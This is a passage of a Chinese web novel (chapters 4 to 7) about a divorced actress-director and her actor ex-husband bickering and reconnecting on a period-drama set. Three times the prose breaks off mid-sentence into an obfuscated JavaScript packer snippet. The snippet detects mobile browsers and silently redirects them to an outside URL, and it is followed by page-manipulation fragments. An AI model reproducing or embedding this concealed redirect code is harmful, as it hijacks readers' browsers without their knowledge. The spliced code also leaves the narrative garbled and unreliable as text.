可也很少有人像她这样,连眨眼和呼吸都是赏心悦目的节奏。仿佛摄像机此刻依然运转。无论戏里戏外,每一个瞬间她都美得无可挑剔。 “盯着我干嘛呢。”她眼都没抬。 叶平川熄了手机屏,向后靠进沙发里,口无遮拦地问,“你真的动过脸么?” 他是从不会去网上搜自己名字的人。媒体向来听风是雨,说能颠倒黑白也不过分,无论是朋友还是恋爱,他向来都只凭自己的眼睛,去认识和了解面前的人。 但离婚后,他第一次去网络上搜了云灯的名字。 她每次爆红都轰轰烈烈,在出道的那部电影《潮夜》里,更是以恶女形象闻名。暗地里恶意揣测的人非常多,黑料五花八门,也是意料之中。就这,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071686|163233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是已经被清理过的版本。 云灯是眼里不揉沙子的性格。现在还能被搜索到的黑料,都是她自己不在乎的。 叶平川想起前些天还看到,网上有号称是在港读书见过她本人的同学,说她以前不长这样。 有评论附和,还放出了《潮夜》和她近期活动照片的对比。粉丝们哪能忍受这种言论,在底下据理力争,吵得不可开交。 说实在的,叶平川跟她在一起好几年都没注意过那么多。真不知道他们是怎么拿着放大镜,挑出那么多细节来吵。 “动过呀,当然有动过。”云灯果然没生气,不紧不慢地说,“我鼻子是做的,左耳朵到现在还缺块软骨呢。你不是也亲过吗?” “……” “不相信啊?” “谁知道你是不是又在骗我。” 他哪知道人的耳骨应该是什么形状。他是亲过,又不是解剖过。 “难道不是因为妆化得不一样吗?”他还记得评论里粉丝是这样解释的。 云灯没回答,把手上的消息编辑完发送出去,才抬眸瞥向他,“怎么忽然想起说这个?你连自己被p过的照片都认不出来。” 叶平川脸长得好看,是直到初中,还没开始蹿个儿时会被错认成漂亮女孩调戏的那种好看。气得他每天猛喝牛奶,放学就去运动,恨不得睡一觉起来能长十斤肌肉。 人总是越拥有什么,就越不在意什么,他对身材的关注要远超过脸。但叶平川的粉丝很爱p他的大头照性转版,其实也就加个长发,把脸型和五官轮廓修柔和点。拿给他看却从来认不出来。 云灯很清楚,只要不是整容到换头的地步,他根本就不会发现。说不说实话全凭良心。 他们之间很多时候都是这样。 就因为叶平川活得随心所欲,很多事浑不在意,才给了她可乘之机。 “那是他们瞎玩,都给我p成妖精了我怎么会认得?” 叶平川一脸不服,可看着她,表情又逐渐变得复杂,像是自尊心受挫的郁闷。 “只是想知道,你到底还有多少事瞒着我。” 如果不是为了离婚,云灯主动摊牌,他压根就注意不到。 云灯几乎知道他的一切。 而关于她自己,她一半没说,一半说的是谎话。 “好啦,事已至此,以前的事情就不要多想啦谢大人,一起把戏拍好才对嘛。” 云灯拿起桌上果盘里的砂糖橘,主动剥了一颗给他,“你也不希望自己拍出烂片的对不对,会变成黑历史喔。” 澄黄的果肉瓣上,连白色橘络都被细心地撕去,连手指都能嗅到汁水甜美的清香。 叶平川偏不动,也不去接。 云灯眨了一下眼睛,很好脾气地坐到他这边来,把橘子果肉掰成两半,一半递到他嘴边。 他叶少爷这才大发慈悲地张嘴,舌尖不仅卷去果肉,连她指腹那缕甜蜜的香气都不客气地一并掠走。 云灯面不改色地吃了另一半,抽出张湿巾擦手。一边擦一边站起身,准备坐回去。 车辆在行驶当中,忽然轻微地颠簸。 是很轻微的。保姆车车身重,底盘又皮实耐用,这么点小颠簸,端杯水都晃不出来。 叶平川却一下坐直了,伸手扶住她的腰。 前两年她拍戏吊威亚,强度太高腰肌劳损,去医院时已经拖得很严重了。腰上落了旧伤,阴雨天疼得掉眼泪,总要趴着睡觉。 “干嘛这么紧张。” 云灯想起刚才审片,看到没过的那条里谢凭渊意识超前的小动作,竟然打趣他,“你是不是还喜欢我?” 叶平川反唇相讥,“我看起来像那种爱心泛滥的蠢货?” “是么。”云灯没提他下意识的保护动作,猝不及防杀了个回马枪,“可从你定的片酬上看,不像是对我没感情了的样子诶。” “……” “有啊,当然有感情了。”叶平川要被气笑,模仿她的语气,不无嘲讽地说,“我有在恨你。” 5. 第 5 章 叶平川本人的秉性气质,跟温润儒雅的谢大人可以说是毫无关联。但在《胜春朝》后期剧情里,谢凭渊也有类似的台词。 国家正值多事之秋,内忧外患,风雨飘摇。她拒绝了谢凭渊的婚聘,进宫成为陛下身边的一名女官。 段老将军一生戎马,凯旋回朝的独子段长骁也是骁勇善战,功高盖主之嫌日盛,遭到朝廷忌惮。 一双儿女里,段长骁过刚易折,段婉心不谙世事。将军府危在旦夕,她是唯一能够直达天听,逆天改命的人。 更何况,除了府中养育之恩,她还有一份青梅竹马的情谊在。 可谢凭渊又怎会亲眼看着她以身涉险。 连下三次聘礼均被驳回,明明能将她护于温室,却拦不住也劝不听。忧心情急之时,再清明中正的人也不免失了理智,抓住她质问—— 为何能为了他入宫涉险,却不能为我留在宫外安稳度日? 为何愿为他赴死,却不愿与我好好地活着。 算起来,段长骁这几天马上也要进组了…… 云灯心里盘算个没完。 看表情就知道她又在神游。叶平川被她明目张胆地晾着,气不打一处来,转头去车里小床上蜷着睡。很细节地背朝着她。 云灯眨了一下眼睛,悄悄探身往里看。看到他小发雷霆的背影,抿起嘴角,又坐回原位。 不知道真睡假睡,反正比醒着强。 确实是故意不接他的话。 她组里事多,每天忙得脑袋打架,哪里有功夫处理私人感情。 不想分出精力来跟他拉扯,装傻充愣总是更省事。 叶平川拍戏质量她还是放心的,隔天开工,把他交给B组导演就太没去管。 虽然是拍一部戏,但两人并非场场都要同框,没什么事她还是能不见就不见的好。 只不过她心里也明白,冷处理并不是长久之计。 通常演员前期都是求着要进组,一旦签完合同就两极反转,变成了被剧组哄着好好拍戏。 毕竟开机后每天都在烧钱,万一哪个主演出了幺蛾子,不知道要耽误多少事,那点违约费根本就不够找补。 更何况叶平川还是她搬救兵搬进组来的,于情于理,她都得把人当大爷供着。 倒不是做不到。但她又不是上供的香案转世投胎,有谁会天生喜欢去讨好别人啊。 索性等他真要闹的时候再说。 难得早收工,云灯洗完澡独自在房间里回复消息。孟瑜忽然来找她,带着一双小兔子似的红眼睛,委屈巴巴的。 大意是说演暗卫哥的那个演员不愿意配合,几次找去都不耐烦,嫌她不是科班出身,什么也不懂,跟她对戏浪费时间。 云灯听完给导演打了个电话,询问叶平川那组的情况。 暗卫哥除了感情戏,绝大部分时间都跟在谢凭渊身边。今天也是一起拍戏的。 邓晓琼本以为她是要问叶平川的情况,没想到打听个小演员,“我看着人挺好的啊。休息时间都跟在叶平川身边请教问题,沟通剧本什么的,专业能力也不错。” 这个演员是邓晓琼亲自面试挑选进组的,也是科班出身。试镜时态度谦逊热情,很有眼色又会说话的孩子。 云灯想了想,“那你帮我个忙,找机会在片场提一嘴,孟瑜是我亲自带的新人。” “明白。”邓晓琼笑道,“小事。” 娱乐圈里看人下菜碟的情况比别的地方更加严重,不是什么稀罕事。 最起码孟瑜遇到问题时,没大吵大闹地犯蠢,而是先避其锋芒,自己尝试沟通了几次无法解决,再私下里找靠山帮忙处理。 这点云灯还挺欣慰的。 听起来是很简单的逻辑。但事实上很多人或被情绪支配闹出乱子,或一味隐忍被打压不敢声张,都无法做到。 通完电话,她又安抚了两句。孟瑜沮丧道,“可是姐,即使他对我态度好起来了,也是因为你呀,不是真的尊重我。” “急什么?”云灯知道她有点傲气,如果一开始就自报家门,那暗卫哥也不会看不上她,觉得她只是个小喽啰。 “现在你才刚入行,就踏踏实实地依靠我。好好拍戏,顺着我给你铺的路走,你想要的都在后头。” “好吧……”孟瑜还有些闷闷不乐。“我知道,要等以后红了才不会再有人小瞧我。” 她生来漂亮,课业又优秀,从小就是被父母和朋友捧着长大的孩子,所到之处从没受过冷待。 可在这个行业里,漂亮又优秀的女孩实在太多了。 她尚且没有意识到,入行时有一个可以放心倚仗的老板,已经是很幸运的开局。 “对了姐,你怎么不跟叶老师住一个套房啊?” 她把自己的委屈解决了,有功夫反过来八卦老板,“这样你们收工还要来回找,多麻烦呐。” 好问题。 夫妻生活不和谐的消息传出去两边都不好听。云灯用“懂的都懂”的语气说,“当然是——怕耽误工作。” 太和谐了也不行。 孟瑜反应了一会儿,双颊染上暧昧的红晕,忙不迭地点头,“哦哦,有道理。” 如此敬业的老板!她一定要好好学习。 送走乖乖被误导想歪的小女孩,云灯笑意淡了些,去洗手间开凉水洗了把脸。 深秋寒意愈盛,房间里的暖气却又让人燥热。她头有些发晕,不太舒服,找感冒冲剂预先喝了一包,沉沉睡去。 早晚温差太大,戏服又单薄。也就中午拍摄那几个小时温度还算合适,其它时间,她都要克制着不能抖得太厉害,以免被摄像机捕捉。 今夜她有两场重头戏。 第一场是室内。出生之时将她带出宫的嬷嬷,在将军府病逝。 烛火摇曳,人影昏暗寥落。这位名义上的养母在油尽灯枯之时,奄奄一息地吐露实情。 养女言秋真正的身份,是大庆朝皇帝与先皇后所生的公主。 阴影晃动在一张泪痕凝固的脸上。震惊和悲伤令人混乱难以分辨。 命运在这一夜发生了巨大的转折。 明明可以把真相带进坟墓里,谁也不知道这位嬷嬷为何在临终之时,强撑着一口气揭露真相。 或许是不甘,不甘心皇室公主就此沦为奴隶阶级,一生受人驱使买卖。 又或许是愤恨,恨自己为保护落难的公主耗尽半生心力,如此功绩,却无人知晓歌颂。 无论如何,在过去的十余年里,对沈言秋而言,她都是唯一的亲人。 沈言秋把她葬在一片桃林旁,请工匠修立一块简朴的石碑。碑不能言,每逢春夏交替,会被粉白花瓣温柔地覆盖。 段长骁在这一年春天凯旋回朝,受封飞勇将军,陛下直赞虎父无犬子。将军府一门显赫到了最鼎盛的时期。 来将军府拜会的名帖花瓣般纷纷扬扬,门槛都快要踏破。段长骁本人却忙中躲闲,挑灯夜游,来后山寻找一片宁静。 开春后,沈言秋用月钱买了些木材,又找工匠在养母墓旁修了座小小的凉亭。 白天她要陪段婉心应酬玩耍,无暇分身,只有等到夜里,主人家入睡之后,才有属于自己的时间。 来过几回,凉亭里已被她布置得安然闲适。六角亭檐上挂着长串的灯笼,点燃后映出澄黄的光芒,恍惚间还像灯会时一样热闹。 小火炉烧得很旺,水壶咕嘟响。沈言秋一袭素裙,跪坐在案前煮茶,瓷白的侧脸被烛光映照,正如玉人一般,叫晚来的那谁移不开眼。 “你这里倒好,清净自在。” 段长骁笑着,大步走进来,见她起身要行礼,一把按住她的肩膀,叫她坐回去。撩起衣摆在她对面不拘小节地坐下,向她讨茶吃。 “来登门拜你的人那么多,你反而跑出来乱晃。” 沈言秋斟茶奉与他,私下无人时并不叫他尊称,像朋友,可又多了两分道不清的亲昵,“让将军知道你又要挨一顿好打。” “现在我也是将军了!还得顾着陛下的面子呢,我爹可不敢再像小时候一样随便揍我。” 段长骁摸着茶盏,似乎有些局促,却更迫不及待,“你是不是答应过我?等我当上将军,就帮我实现一个愿望。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071687|163233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 沈言秋静静地望着他,“你亦答应我,元宵灯会亲手送我一盏兔子灯。” “……” 少年将军何其骁勇,战场上冲锋陷阵一往无前,不退敌军不还朝。 却失约于心上人。 她语气平和,细听却有往日十分少见的哀怨,婉转迂回,自有其韵味。 “我是答应过你……”段长骁难为情地挠了挠头。“要不明日,不,现在我们就去买。要是铺子不开门,我亲手给你做一盏。” 沈言秋轻哼一声,“不必麻烦将军。兔子灯我已经有了。” 她并不真的生气。兔子灯本身没什么稀罕,当初那样约定,是期盼他能平安回家。 沙场打滚生死难料,有一个承诺便是有一份牵挂,一份期盼。归乡之情何其重要,很多时候都能把一个人从鬼门关拉回来。 “你有了?是谁给你的?”段长骁却一下子急了神,按着木几向她凑近,动作太大,茶盏子都被他震得咣当一声。 “你知不知道,女子不能随便收别人礼物的!” 战场凶险,他脸颊上还留有箭锋掠破的伤痕,再深些便要破相。骤然靠近,沈言秋看得十分清晰,难免担忧揪心。 段长骁全然不觉疼痛,还在问,“是谁?谁送你的?” 沈言秋一时间竟难以回答。 兔子灯是段婉心给她挑的,名义上是国公府的小公爷姬垣请客……但是她有悄悄瞄到,最后还是那位谢大人付的银子。 那到底算谁送的呢? “我没有要。都在你妹妹的库房里堆着。”她捡着最重要的话说了,温柔目光仍旧停留在段长骁的伤痕上,接着又拂过他的眉眼,如同此刻飘落亭上的花瓣,轻轻叹气。 “为什么……” 段长骁看痴了,竟连呼吸都不自觉地屏住,听见她柔声道,“在等你回来送我。” 这场情愫暗涌的重逢戏,尾声落在她的言语间,只此一句便道尽了思念。 导演喊卡的下一秒,云灯眼疾手快地撇过脸,连打了几个喷嚏。 “啊,灯灯姐你没事吧?会不会是感冒了?” 江煜瞬间从角色里抽离出来,站起身着急地朝助理招手,“快快,给我外套。” 云灯摇了摇头,还没来得及拒绝,一件羽绒外套就裹住了她的肩膀,又轻又暖和。 她确实冷得打颤,就没再脱了拂人面子,“你不冷吗?” “没事,我这套衣服里三层外三层的,穿得多。一点也不冷。” 江煜嘿嘿地笑,露出一双可爱的虎牙。戏中少年将军的杀伐之气褪去,他私底下是个阳光开朗小甜豆。 “刚刚我那条拍得怎么样呀?我觉得还可以更好。” 江煜是男团爱豆转行再就业,因为形象合适,戏感也意外的很不错,就被选进了组里,担任主要配角之一。 虽然是为女主做配,但他很珍惜这次机会。确定出演的角色之后,提前好几个月就加了云灯微信,积极地阅读原著,对比剧本理解人物,还常常会请教她不解之处。可以说相当的热情好学。 到了片场就更是这样。古代长案太低了,都没个小板凳,就地坐着,时间久了肯定难受,他主动道,“灯灯姐,你累的话靠着我吧。” 负责记录的同事在旁边拍一些花絮,到播出的时候,观众可以把他们的片场互动当糖磕。 云灯也就没客气,披着衣服跟他挤在一起看剧本,“你真不冷?” “不冷啊,我还能再脱一件给你呢。” 他才二十出头的年纪,跟大学生差不多。年轻孩子火气盛就是扛冻,云灯笑了笑,指着台词刚要说话,突然动作一顿,仿佛被谁刺了一下,看向不远处的摄像机。 余光里的人影没有认错。叶平川拍完了戏,不知道为什么还没回酒店,又跑到她这里来。此时正坐在导演的马扎上,面色不虞地盯着镜头,沉默中英俊的轮廓蒙着层阴翳。 察觉她看向自己,叶平川一哂,紧抿的嘴唇缓慢地开合。 故意放慢的语速,足够云灯读出他的话。 装货。 6. 第 6 章 隔着一段距离,云灯无法准确断定他这句是骂谁的。 还是不要主动认领比较好。 “你脸上的伤妆有点化掉了。”云灯对装货说。“镜头会吃妆,再补一下。” 化妆师闻言,立刻上前来帮他补妆。江煜坐在地上乖乖地仰着脸,“好的。那待会儿我是不是应该更关切一点呢?我觉得情绪还是不太够。” 下一场要拍的是段长骁安慰她丧母之痛。 青梅竹马,两人本就都是有情的,沈言秋在他面前可以不故作坚强,肆意落泪。 但思虑再三,她还是没有将自己的身世道出。 嬷嬷临终才留下遗言,她震惊之余很难求证。 如果她真是公主,怎么会出生就被秘密地送出皇宫?宫墙之内必定有大变。 这等秘事怎敢让旁人轻易知道,会招来杀身之祸不说,或许还会牵连段长骁。 沈言秋天资聪慧,心思百转。 复杂的身世之谜和丧亲之痛不能丢掉,又要表现出重逢的欣喜和对未知前路的不安,需要极其细腻的情绪把控力。 云灯调整状态连拍了三条,哭得眼角晕红,冷白的一张脸庞被艳色点缀。每一次抬眸,目光流转潋滟,欲说还休,在镜头里美得惊心动魄。 这场戏拍到午夜才结束,演员收工时室外温度已经降到个位数。 云灯从助理小天手里拿到毯子,兜头裹住,仍冷得牙齿打架。身体冻了太久,一时半刻还暖不热。 “大半夜的,这小玩意管什么用。”叶平川捞走她的毯子,脱了自己的大衣跟她交换。 原本是想保姆车里有暖气,走过去就几步路,又穿又脱的太麻烦,好歹披件什么赶快上车就行了。 可被他穿得热烘烘的大衣罩在肩膀,能直接盖到小腿。暖和得仿佛春日复苏,凝霜也化成了水。 云灯忍不住叹了口气,“你衣服好热。” 叶平川披着她的小毯子,哼了一声,“我身上更热。” 云灯不语,只是一味地拉高衣领,把冰凉的脸也埋进去。 她哭了半夜,泪痕层层干在脸上,被风一吹,干涩发紧的刺痛。上车后洗脸卸妆,再换套舒适软乎的睡衣,才算缓了口气。 叶平川又在吃她的果盘。 云灯挽起头发,一边扎一边问他,“怎么老是来我车上待着?”他明明下午就收工了。 叶平川还在炫车厘子,“饿。” “……” 云灯拍戏时车上从来不放零食和饮料,但每天都会更新时令水果。 自从晚饭被取消,他可怜到只能来这里混点吃的,还不够塞牙缝呢。 “小唐怎么没跟你来?”云灯坐下也吃了一颗,“我记得他很会挑水果。” “早就答应好的假期,”叶平川幽幽地说,“总不能让人家也跟我一样临时取消,继续打工吧。” 助理都已经飞马代度假了,他一个当老板的反倒在这里无缝衔接当牛做马。 云灯难得良心发现,把手机横过来晃了一下,“打游戏吗?路上可以玩一会儿。” 片场还没收工,后续有几个景物空镜要拍。她今天不留在片场跟导演一起盯镜头了,要早点回去泡个热水澡。 感冒之前会有一些小预兆。她对自己的身体很了解,不会勉强自己加班逞强,真病倒了更耽误事。 叶平川勉为其难地登上游戏,看到两人账号上的情侣标,又哼了一声。 看起来脑袋里思绪蛮多的样子。 云灯一边领邮箱里堆积的系统奖励,一边等他的冷嘲热讽。但他只是沉默地看着游戏界面,到底也没说什么。 他上高中时有段时间特别沉迷打游戏,甚至还点陪玩,一对一包月的那种。天天晚上连麦开黑,都快跟人处成亲兄弟了,还差点面基。 之所以说是差点,并不是因为他们没有约着见面,而是见面的那天,有人食言失约。 他在校门口傻等了一下午,天都黑透了才难以置信地回宿舍。 然后更难以置信地发现,直到高考前一天还跟他彻夜聊天的好基友,就这么消失了。 聊天窗口里只剩下他一连串的追问。对面再也没给过他任何回应,干脆利落地断绝联系,毫无预兆。 他怀疑人是不是出了什么意外,甚至想过动用灰色关系去把对面找出来,弄个清楚。 但再慎重地考虑一下,无论他们有多聊得来,说到底只是素未谋面的网友。哪怕是出于担忧和关心,他也不该太越界。 最后他也就只是……独自郁闷了很久。 他只在十来岁时处过那么一个网友,还被单方面地断联了。即便过去很多年,再想起时也会耿耿于怀。 论起“断崖式分手”的作风,倒是跟他前妻如出一辙。 叶平川怀疑自己命里就带这种劫。 云灯学生时代花在游戏上的时间比他只多不少,操作没得说,每个赛季更新都国标都没落下过。 两人拍《无影之地》时只要收工就约着一起打游戏。那会儿刚认识,还多亏了峡谷并肩作战,让他们在电影之外也有话题,感情持续升温。 后来确认了关系,反而打游戏就少了。 毕竟情侣在一起还有更多,实打实的事情可以做。 云灯的英雄池里几乎都是辅助类的角色,叶平川就只玩adc。两人配合起来大杀四方,即便都很久没玩,默契也没消失,连赢三把顺风局。 是打得很爽。但叶平川心思并不在游戏上,“今天跟你演对手戏那个小屁孩是哪家的?” “叶清公司里推荐过来的人。”云灯盯着手机屏幕说。 《胜春朝》是由小说改编而来,原著作者就是叶清。不仅有出版作品,她还有自己的经纪公司,这两年签了不少年轻人,有影视化的作品就会优先推荐公司里的孩子去试镜。 偶尔她也会亲自客串。能写又能演,是圈里有名的才女。 这次叶清在《胜春朝》里也有戏份,不过比较靠后,还得要个把月才会进组。 “他叫江煜,别叫人家小屁孩。”云灯说,“你刚出道的时候也跟他差不多好么。” 话虽这么说,其实她也把江煜一类的新人当小孩看。 她有时候把叶平川都当小孩看呢。 “我说他一句你都心疼?” 叶平川一脸无语地撂下手机,显然已经憋了整晚,不吐不快,“你看看他那个热乎劲儿!摆明了是想讨好你给自己多加点戏。心眼子比算盘珠子还密,都快蹦脸上了你看不见么?” “看见了啊。”云灯不以为然道,“他要是真能把角色演得出彩,就给他适当发挥一下也不是不行。” “……” “不打了吗?” 还打什么游戏!谁还有心思玩。 云灯一时兴起逗了两句,见他真的介意,又立刻往回哄,“我开玩笑的,别生气啦小马哥。” 叶平川怔了怔,有一瞬的恍惚,“……你别再这么叫我了。” 两人第一次见面,他自我介绍时说自己叫叶平川,是一叶知秋的叶,一马平川的那个平川。 不知道戳中她哪个笑点,在剧组的几个月里荣获她起的外号。连带着别人也被洗脑,到现在《无影之地》组里的演员见了他,还会打趣叫他小马哥。 “好啦。你觉得我可能会喜欢他对吧?我知道是为什么。” 云灯也放下手机,放松地靠在他身边徐徐道来,“是因为你也看出来,段长骁跟你挺像的。” 如果跳出角色,让她以自己的喜好来选择,段长骁和谢凭渊之间,她会选段长骁。这个人物内核更接近她的理想型,说白了就是更像叶平川。再早个三年五年,让他来演段长骁一定更出彩。 但角色就是角色。 “你知道的,我向来都把戏跟演员分得很清。” 云灯捡着好听的说,信手拈来,“再说,论起脸和身材还有演技他比你可差远了,离婚了不代表我就要审美降级啊。” 叶平川双手抱胸,抬着下巴,还是一副难哄的样子,脸色却已经肉眼可见地柔和起来。 “我最近听说不少富婆点男模点得亿万身家都赔进去了。你可别犯傻,也跟她们似的在一声声姐姐里迷失自我。” “别担心啦,不会的。”云灯乐观道,“我哪有那么多钱给人骗啊。更何况我又不喜欢弟弟,听他们叫我姐感觉跟销售似的。” 江煜虽然已经有了一年做男团的经验,但毕竟还是年纪小。说什么话做什么事,带了什么目的,在她眼里几乎透明。 不过她不觉得人的行为有目的性是件坏事,只要心眼不坏就行。 听她说了这些,叶平川才又拿起手机接着把游戏打完,傲娇道,“你心里清楚就行。毕竟你跟我好过,如果谈的下一个不如我,我也会觉得丢脸的。” 云灯连连点头,“是的,你说的有道理。” 还是很好哄的。 这晚从片场回到酒店的路上,两人打出了六连胜。 游戏打得顺手,云灯回房间洗漱完,又跟投资人开了个简短的电话会议,沟通也很顺利。 临睡前,她躺在床上翻相册。原本是找一张截图,不知怎么就看起了以前的照片。 虽然在一起的时间有限,但她和叶平川一起干过不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071688|163233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少有趣的事,也拍了很多不像话的照片,都在她的加密相册里留着。 是很珍贵的回忆。 很好玩的人。 叶平川是个半夜三点被她强行叫醒下楼放烟花,也会从床上弹起来穿起裤子就走,还觉得嗷嗷好玩的神经病。 也只有这样的人,才会愿意陪她任性地胡闹,闪婚闪离都配合。 云灯想,如果不是遇上她,叶平川的人生本该更加顺遂。 但俗话说得好,各人自有各人的报应。 离婚后她想过很多次,要删掉这些照片,但总是到最后一步又下不去手。 叶平川笑起来会微微眯起眼睛,眼尾皱起的笑纹很好看。堪称废片拯救神器,她p照片时也省力不少,因为这样的笑容常常会让人忘记背景的杂乱。 有一些是在家里浴缸,和温泉酒店的浴缸里拍的照。他们很喜欢在水里,温暖,省力,事后又好清理。 她曾经纠结过要不要发朋友圈,虽然最终还是发了,但在见过叶平川父母之后就又通通隐藏掉。因为她那时要扮演贤良淑德好女友的角色,势必得立一个文静端庄的人设。 如果不是被门铃声唤起注意,她的手指还要在屏幕上停留很久。 这个时候会找她的人不多,一般都会在微信上打个招呼才过来。可手机里并没有任何突发情况。 云灯不太情愿地下床去开门,果然猜的没错,“怎么大半夜还不睡觉?” “你不也没睡么。” 叶平川一身睡袍加拖鞋,还是抱着枕头过来的,意图相当明显,“我那张床不舒服。硌得我睡不着。” 云灯好心提醒,“酒店的床好像都是一样的。” “那就是我屋里的磁场不行。”他从善如流道,“害得我都出现幻觉了。” “……” 哇噻。 云灯还在消化他的烂借口,他就堂而皇之地抱着枕头进来了,“是谁说的不许让别人知道我们离婚的事。两口子拍戏在酒店分居,你听着觉得正常吗?” 她的手机放在床边,屏幕还没有熄灭。叶平川视力极佳,一眼就瞥见题目还停留在相册的界面里,饶有兴致地弯腰探究,“你在看我们的照片。” “给你开门的时候忙着退出别的应用,手指碰到相册正好点开了。”云灯不动声色地拿起手机熄屏。 “你要在这儿睡?我就一张床。” 叶平川不客气地把自己的枕头摆在她的枕头旁边,顺便把自己也撂在她被子上,“没事,躺得下。” “……” 事实证明,人都是会得寸进尺的。 云灯眼看着他耍赖,站在床边想了一分钟,发现自己并没有什么好的对策,于是也认命地躺下,“真的只是睡觉喔?” “当然。” “被我摸到你有什么反应的话凌晨四点我也会把你踹出去喔。” 叶平川觉得这要求很不合理:“你摸了当然会硬。” 人在无语的时候真的会想要报警。 云灯闭上眼睛默念不生气,气出病来无人替。身旁的床垫又往下陷了一些,是叶平川坐起身来,在浴袍口袋里摸索着什么。她懒得看。 叶平川很快又躺回来,在被子底下拉住她的手,把一只冰凉的环套进她的手腕。 抬起手沉甸甸的。这下她不能不仔细看看了,甚至还打开床头灯对着光看。 是只翡翠镯子。种水极佳,紫罗兰色细腻温润。拍卖会上少说得大几千万。 “什么意思,带资进组?” “……” 叶平川没好气道,“家里寄过来的。” 五一假期他回了趟家,当天要离开时,看见那老两口亲亲热热地坐在沙发上翻看拍品画册。那天是有场电话拍卖会,翡翠专场。 “我妈知道你喜欢翡翠,就顺手给你拍了。”叶平川说。“反正我留着也没用,顺便带过来给你。” 其实是那天他过去坐两人身边一起看了画册,一眼相中这只镯子,觉得云灯肯定喜欢才让拍的。 云灯确实喜欢,托在手腕上转着看,“都躺床上了才往外掏,刚才进来的时候怎么不给?” “总不能白给吧。”他懒洋洋道,“你要是不让我进来睡觉,我就还揣走呗。” 云灯莞尔,没再跟他拌嘴,只是在床头灯光下欣赏这只漂亮的镯子。心想放进剧里当道具也是不错的点缀。 叶平川枕着手臂侧躺,静静地看她把玩。半晌,才听见她很轻的声音,“可五月份我们已经离婚了。” “是啊。” 他扯了一下嘴角,带着淡淡的自嘲,“我那时候忘了。” 7. 第 7 章 可惜嘴比脑子快了一步,连累他家老太太多消费了几千万。 “谢凭渊送言秋的定情信物,我记得是枚玉佩?” 叶平川主导一个物尽其用,“干脆换成这个,上镜效果肯定比你组里准备的道具强多了。” 收藏级别的翡翠手镯,跟义乌批发市场采购来的道具能有可比性么。 “也对,”云灯正想到这,“那明天让酒店租个保险柜先放着。” 做人还是要爱憎分明的。她欣赏完镯子,再看叶平川占她半张床的行为,一点也不觉得讨厌了。 把镯子收起来之前,先戴着睡一晚。她双手交叠放在小腹上,还在慢慢地转着镯子,心里好像堵了团什么,感觉有点奇异。 两人都已经离婚大半年了,这件礼物送来的时机似乎太过于微妙。 不过她完全没想过要拒绝,这么漂亮的宝贝,都套手上了谁舍得摘下来呢。 她只是有些拿不准叶平川的意思。 要是叶平川真的恨她,这手镯自己留着也好,随便送个什么人也罢,哪怕扔掉呢,总归是没必要再拿来给她。 可从他起念的那一刻,这件东西就烙上了她的名字。无论两人关系如何,都一定是属于她的。 叶平川依然对她很上心。 说不清是好事还是坏事。 向叶平川发出这部戏的邀约时,她曾有种隐秘的期望,期待他拒绝,或者干脆不要理会。 可他还是来了,替她解决了燃眉之急。 她也确实是松了口气,心上的负担却并没有消失。 合约里片酬那栏被他改过,赫然只有一个零。 他不要钱。 那他想要的是什么呢? 浮浮沉沉的意识潜入梦境,云灯又看见两人的婚礼。 绿草坪上鲜花环绕,白鸽落在精致的喷泉雕像顶上,四溅的水珠被太阳照耀成彩色,钻石般闪着光。 那天她其实没有多高兴,也不像表现出的那般幸福。她的父母都无缘到场,台下坐着的只有几个亲近的朋友,大笑着鼓掌,朝她欢呼。 但是叶平川看起来真的很幸福,基本上傻笑了一整天。也就是底子好占了便宜,否则婚礼录像就会变成他的表情管理失败黑历史纪录片。 所有人看起来都很幸福。 那么,她也应该要非常幸福才对。 毕竟迄今为止,她想要的全部都得到了。 和叶平川的婚姻是她一手策划,精心图谋的。 连同放弃,也是一样。 ** 叶平川睡得贼踏实。 他那个房间里确实有点小问题。空调开暖风噪音太明显了,夜里安静,听了让人心烦。 懒得找酒店换房间。 他通情达理,可以自己换。 他是个心里不压事儿的人,再棘手的难题也很难影响他的睡眠质量。地球又没倒计时爆炸,还能有什么不得了的事呢,一切都等他睡醒了再说。 进组之前他只看了谢凭渊的人物小传和几场重头戏,大概知道剧情走向,剩下的都是这周在组里边拍边补。 有空自己还要琢磨戏呢,被所谓的后辈新人凑上来借请教之名搭讪,他心里是很不耐烦的。又是在云灯的剧组,他只能压着火浪费时间敷衍,晚上回酒店再牺牲睡眠加班。 好在连续一周的睡眠缺乏,都在这一觉里补足了。 清晨云灯先醒,没休息好,做梦做得疲惫不堪。看到他趴在枕头上睡那么甜,莫名有点心烦,很用力地把放在胸上的一只大手扔开。 叶平川就被她扔醒了,半张脸还埋在枕头里,碎发挡着眼睛。 